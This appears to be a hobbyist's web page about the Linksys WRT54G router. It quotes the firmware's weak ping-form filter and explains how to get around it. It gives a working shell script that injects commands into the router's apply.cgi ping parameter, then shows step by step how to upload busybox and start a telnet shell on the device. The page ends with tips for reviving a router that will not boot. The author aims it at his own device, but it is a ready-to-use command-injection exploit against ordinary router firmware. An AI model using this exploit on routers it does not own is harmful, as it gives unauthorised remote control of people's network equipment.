Linksys WRT54G notes.

The WRT54G is a nice little Linux/MIPS-based "router" from Cisco-Linksys. Its abilities include Wi-Fi access point (54Mbps), NAT & firewall, DHCP server, five-port switch, automatic reconnection using PPPoE, PPPoA and others, as well as a DynDNS client.

Of course, firmware is stored on flash, and since the code is GPL, one can make their own firmware and upload it to the unit. But this is not for the faint of heart: doing so may turn your WRT54G into a paperweight, void your warranty, make your milk sour and your shirt itchy.

One really interesting thing about the WRT54G is that, thanks to non-defensive coding of the web administration interface, one can relatively easily run arbitrary Linux programs on the router itself.

WRT54G front panel

The hole

Cracking one's own machine isn't too difficult given the source code for its operating system is available–yay Linksys for respecting the terms of the GPL! I'm not linking to the exact download page, because URLs on Linksys' site are unreadable and they don't hesitate to break links; so just go there and search for "WRT54G" to find product information, and "GPL" to find the "GPL Code Center". What I'm writing here is valid for firmware revision 3.03.1: I can't guarantee it will work with other versions, but it's worth a shot. Also, the WRT54GS is a very similar device, and some of the material presented here might be applicable to that model too.

As usual, it is incorrect validation in one of the administration interface's HTML forms —the ping form to name it— that will allow us to execute arbitrary code. It used to be possible to give ping, instead of a hostname example.com, the same thing followed by arbitrary commands like this: example.com; ls. This would execute the command ls on the router. But this hole has been partially plugged in more recent versions.

WRT54G admin interface

A look in release/src/router/www/cisco_wrt54g_en/Ping.asp —with a hilarious header, since this is GPL code— indicates that we must look for the server-side validation in apply.cgi. Actually, no, better head straight to the error message which is returned when bad data is input, "Invalid IP Address or Domain Name". It comes from WRT54G_3_01_3_0922/release/src/router/rc/services.c, once again with hilarious comments:

if(!check_wan_link(0))
    buf_to_file(PING_TMP, "Network is unreachable\n");
  
else if(strchr(ip, ' ') || strchr(ip, '`') || strstr(ip, PING_TMP))
    // Fix Ping.asp bug, user can execute command ping in Ping.asp
    buf_to_file(PING_TMP, "Invalid IP Address or Domain Name\n");
   
else if(nvram_invmatch("ping_times","") && nvram_invmatch("ping_ip","")){
  	char cmd[80];
    snprintf(cmd, sizeof(cmd), "ping -c %s -f %s %s &",
             nvram_safe_get("ping_times"), PING_TMP, ip);
    printf("cmd=[%s]\n",cmd);
    eval("killall", "ping");
    unlink(PING_TMP);
    system(cmd);    
}
    

(Code rewrapped for your benefit: the actual code goes as far as column 142.)

So, what did we learn here? The first else if and the attached comment indicates that the validity of a machine name is verified by checking that it contains neither (0) spaces, nor (1) backquotes, nor (2) the name of the file normally used to store the results of ping internally. What happened to the good old technique of using a regular expression matching valid hostnames and valid IPv4 IP numbers? Anyway, workarounds aren't too hard to find: (0) who needs spaces when there are tabs? (1) we don't need backquotes at all and (2) since doubling slashes in pathnames is (almost always) allowed in Unix, we'll do just that.

Exploiting the hole

Simply use the following half-assed shell script (lsysexec.sh):

ftmp=/tmp/o

cmd="$1"

COMMAND=$(echo "$cmd" \
    | sed -e 's/ /%09/g' -e 's/\//%2f/g')

wget --http-user= --http-passwd=$PASSWORD -O $ftmp \
    -q \
    "http://linksys/apply.cgi?submit_button=Ping&ping_times=1\
&submit_type=start&action=Apply&change_action=gozila_cgi&ping=Ping\
&ping_ip=%26$COMMAND>>%2ftmp%2f%2fping.log" \
&& cat $ftmp | grep '^[ ,]"' | sed 's/^[ ,]"\(.*\)"$/\1/g'

After adjusting to your local parameters, notably setting the hostname to that of your WRT54G and setting PASSWORD, typing sh lsysexec.sh command should execute command on the router.

Going further

This is not all: since what we have is a regular MIPS-Linux system, we can build a cross-compiler and then put whichever server we want on the router. Unfortunately, building cross-compiling GCCs is painful. Fortunately, someone already did it for us: thanks to Jim Buzbee, one can just get a pre-compiled busybox and other goodies. I used version 0.51, but now see that newer versions work on recent firmware revisions out-of-the-box. I'm going to explain in detail how to copy the new busybox and run its telnet server:

  1. $ read PASSWORD
  2. $ export PASSWORD
  3. In another shell (change paths so they match your settings):
    $ ttcp -t -p 10 lsys <busybox
  4. $ sh lsysredir.sh "/usr/sbin/epi_ttcp -r -p 10 >/tmp/a"
  5. $ sh lsysexec.sh "chmod 777 /tmp/a"
  6. $ sh lsysexec.sh "ls -l /tmp"
    drwxr-xr-x    1 0        0               0 Jan  1  2000 var
    drwx------    1 0        0               0 Jan  1  1970 cron.d
    -rw-r--r--    1 0        0               8 Sep 30 00:58 action
    -rw-------    1 0        0              36 Sep 30 01:02 crontab
    -rw-------    1 0        0              52 Sep 30 00:58 resolv.conf
    -rw-r--r--    1 0        0               0 Jan  1  1970 udhcpd.leases
    -rw-r--r--    1 0        0             286 Sep 30 00:58 udhcpd.conf
    -rw-r--r--    1 0        0              96 Sep 30 00:58 nas.lan.conf
    drwxr-xr-x    1 0        0               0 Jan  1  1970 ppp
    -rw-r--r--    1 0        0              33 Sep 30 00:57 nas.wan.conf
    -rw-------    1 0        0               0 Sep 30 00:58 hosts
    -rw-r--r--    1 0        0             794 Sep 30 00:52 cert.pem
    -rw-r--r--    1 0        0             493 Sep 30 00:52 key.pem
    -rw-r--r--    1 0        0               4 Sep 30 00:58 nas.lan.pid
    -rw-r--r--    1 0        0               0 Sep 30 01:12 ping.log
    -rw-r--r--    1 0        0               8 Sep 30 01:04 ddns_msg
    -rw-r--r--    1 0        0              89 Sep 30 01:04 ddns.conf
    -rw-r--r--    1 0        0              26 Sep 30 01:04 ddns.cache
    -rwxrwxrwx    1 0        0         1197420 Sep 30 01:10 a
    
  7. $ sh lsysexec.sh "/tmp/a telnetd"
  8. $ telnet linksys
    Trying 192.168.1.1...
    Connected to linksys (192.168.1.1).
    Escape character is '^]'.
    
    
    
    BusyBox v0.60.0 (2004.10.18-05:39+0000) Built-in shell (msh)
    Enter 'help' for a list of built-in commands.
  9. That's all: you can now happily log onto your WRT54G and do whatever you please. Doing bad things like entering infinite loops or filling up all of the RAM tend to provoke a reboot, though.

(And, yes, I could just wrap all these commands in an nifty script. But I don't feel the need to do so, since I reboot the machine so rarely–only for moves or blackouts (stupid Hydro-Québec!) so far.)

Notes on reviving a seemingly dead WRT54G

Sometimes, for completely unknown reasons, a WRT54G can fail to boot properly. At some point, mine kept blinking (this indicates unfinished bootup), with the five-port switch still working, allowing me to use PPPoE from one of the workstations and then fetch instructions for a very hard reboot: this is Void Main's Linksys WRT54G revival tip, which involves shorting pins on the PCB so as to make the CRC check fail during low-level stages of the bootup process, causing the unit to enter a "restore" mode which can download new firmware.

WRT54G top view

However, a much simpler maneuver sufficed: holding the reset button for 30 seconds, unplugging the unit while holding the pressure for another 30 seconds. This is much longer than what the manual instructs, but was apparently needed in my case. Many thanks to Nino for the tip.

In addition, I found that the following would sometimes allow me to survive harder lockups:

  1. With router on, hold reset until the power LED starts blinking;
  2. unplug power, holding reset for another 30 seconds or so;
  3. replug, with reset still held for a few seconds.

References

  1. Void Main's Linksys WRT54G revival tip,
  2. Jim Buzbee's BatBox mini distro,
  3. the official Linksys website,
  4. the tiny scripts from this page: lsysexec.sh and lsysredir.sh,
  5. the post from Nino's blog that taught me how to do a strong reboot.

www.kurokatta.org


www.kurokatta.org

Quick links:

Photos
Montréal
Oregon
Paris
Camp info 2007
Camp Faécum 2007
--more--
Doc
Jussieu
Japanese adjectives
Muttrc
Bcc
Montréal
Couleurs LTP
French English words
Petites arnaques
--more--
Hacks
Statmail
DSC-W17 patch
Scarab: dictionnaire de Scrabble
Sigpue
Recipes
Omelette soufflée au sirop d'érable
Camembert fondu au sirop d'érable
La Mona de Tata Zineb
Cake aux bananes, au beurre de cacahuètes et aux pépites de chocolat
*